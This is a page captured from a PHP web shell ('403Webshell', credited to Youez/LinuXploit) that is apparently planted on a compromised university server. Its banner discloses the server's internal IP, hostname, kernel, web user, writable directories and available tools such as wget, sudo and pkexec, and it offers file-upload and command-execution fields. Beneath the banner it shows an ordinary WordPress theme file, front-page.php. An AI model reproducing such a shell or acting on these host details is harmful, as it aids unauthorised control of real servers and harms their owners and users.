403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/actamanilana.dbweb26.goldcopy/public_html/wp-content/themes/rife-free/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/actamanilana.dbweb26.goldcopy/public_html/wp-content/themes/rife-free/front-page.php
<?php
/**
 * The Template for displaying front-page
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

if ( get_option( 'show_on_front' ) === 'posts' ) {
	get_template_part( 'index' );
} else {
	global $apollo13framework_a13;
	$fp_variant = $apollo13framework_a13->get_option( 'fp_variant' );

	if ( $fp_variant == 'page' ) {
		//it makes use of real page templates instead of front-page.php
		$page_template = basename( get_page_template(), '.php' );
		//below check is incorrect in WordPress 4.8, but might be true in older WP versions
		//now $page_template will never return "page.php" or "front-page"
		//however it works proper so lets keep it for few versions
		if ( $page_template !== 'page.php' && $page_template !== 'front-page' ) {
			get_template_part( $page_template );
		} else {
			get_template_part( 'page' );
		}
	}
	elseif ( $fp_variant == 'blog' ) {
		global $wp_query;

		//fix for front page pagination
		if ( get_query_var( 'paged' ) ) {
			$_paged = get_query_var( 'paged' );
		} elseif ( get_query_var( 'page' ) ) {
			$_paged = get_query_var( 'page' );
		} else {
			$_paged = 1;
		}

		$args = array(
			'post_type' => 'post',
			'paged'          => $_paged
		);


		$wp_query->query( $args );

		get_template_part( 'index' );
	}
	elseif ( $fp_variant == 'albums_list' ) {
		get_template_part( 'albums-template' );
	}
	elseif ( $fp_variant == 'works_list' ) {
		get_template_part( 'works-template' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit